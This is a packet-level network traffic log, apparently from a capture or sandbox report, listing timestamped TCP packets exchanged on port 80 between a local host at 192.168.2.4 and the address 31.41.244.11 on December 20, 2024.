Dec 20, 2024 09:12:11.515434980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.515477896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.515530109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.516360998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.516417027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.516499996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.516544104 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.517313004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.517384052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.517457008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.517505884 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.518351078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.518420935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.518464088 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.518513918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.519332886 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.519381046 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.519435883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.519489050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.520272970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.520320892 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.520406961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.520454884 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.521285057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.521337032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.521346092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.521383047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.522288084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.522337914 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.522370100 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.522419930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.523246050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.523304939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.523371935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.523420095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.524241924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.524288893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.524358988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.524408102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.525265932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.525316000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.525320053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.525367022 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.526240110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.526293039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.526293993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.526340961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.527206898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.527270079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.527357101 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.527405977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.528165102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.528258085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.528295994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.528351068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.529176950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.529232025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.529305935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.529352903 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.530184031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.530241013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.530294895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.530355930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.531120062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.531167984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.531254053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.531305075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.532084942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.532133102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.532207966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.532257080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.533193111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.533246994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.533319950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.533368111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.534080029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.534128904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.534225941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.534276962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.535110950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.535176039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.535186052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.535235882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.536065102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.536115885 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.536201954 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.536268950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.537017107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.537080050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.537127018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.537178040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.537950039 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.537997961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.678486109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.678549051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.678584099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.678628922 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.678747892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.678890944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.678931952 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.678960085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.679759026 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.679821014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.679965019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.680016041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.680742025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.680792093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.680838108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.680891991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.681723118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.681783915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.681871891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.681917906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.682764053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.682830095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.682884932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.682935953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.683708906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.683759928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.683892965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.683943033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.684672117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.684742928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.684798956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.684849977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.685671091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.685720921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.685781002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.685831070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.686674118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.686726093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.686784029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.686836004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.687628031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.687674046 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.687748909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.687800884 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.688616037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.688683033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.688731909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.688795090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.689589977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.689646006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.689716101 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.689781904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.690557003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.690607071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.690671921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.690726042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.691557884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.691608906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.691683054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.691745043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.692560911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.692614079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.692653894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.692703009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.693602085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.693655968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.693746090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.693797112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.694505930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.694557905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.694632053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.694689035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.695491076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.695548058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.695602894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.695657015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.696497917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.696558952 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.696646929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.696707010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.697464943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.697518110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.697575092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.697623014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.698453903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.698554993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.698558092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.698606014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.699505091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.699568033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.699620008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.699671030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.700404882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.700467110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.700625896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.700679064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.701420069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.701472998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.701560974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.701623917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.702410936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.702462912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.702703953 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.702760935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.703501940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.703552008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.703643084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.703700066 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.704395056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.704442978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.704502106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.704550982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.705347061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.705410957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.705461979 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.705512047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.706485033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.706536055 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.706609011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.706659079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.707341909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.707396030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.707396030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.707456112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.708308935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.708365917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.708432913 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.708482981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.709281921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.709340096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.709393024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.709445000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.710259914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.710310936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.710390091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.710445881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.711253881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.711327076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.711393118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.711442947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.712232113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.712315083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.712346077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.712397099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.713200092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.713255882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.713356972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.713413000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.714184046 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.714241028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.714313030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.714364052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.715195894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.715265036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.715332985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.715380907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.716161966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.716217041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.716283083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.716339111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.717147112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.717196941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.717284918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.717339993 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.718143940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.718194962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.718221903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.718271971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.719221115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.719336987 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.719336987 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.719386101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.720140934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.720192909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.720283031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.720334053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.721090078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.721147060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.721193075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.721254110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.722094059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.722147942 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.722235918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.722290039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.723078966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.723133087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.723174095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.723223925 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.724031925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.724081039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.724153996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.724204063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.725028992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.725080013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.725222111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.725275040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.726000071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.726053953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.726141930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.726191998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.726998091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.727049112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.727138042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.727186918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.728038073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.728090048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.728092909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.728131056 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.728986025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.729038000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.729089022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.729140043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.729932070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.730031013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.871144056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.871206045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.871212006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.871267080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.871490002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.871547937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.871638060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.871700048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.872442007 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.872492075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.872565031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.872617006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.873464108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.873514891 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.873588085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.873636961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.874417067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.874475002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.874547958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.874608040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.875403881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.875456095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.875500917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.875550032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.876399994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.876454115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.876499891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.876549959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.877379894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.877477884 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.877482891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.877532005 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.878349066 CET	80	49759	31.41.244.11	192.168.2.4
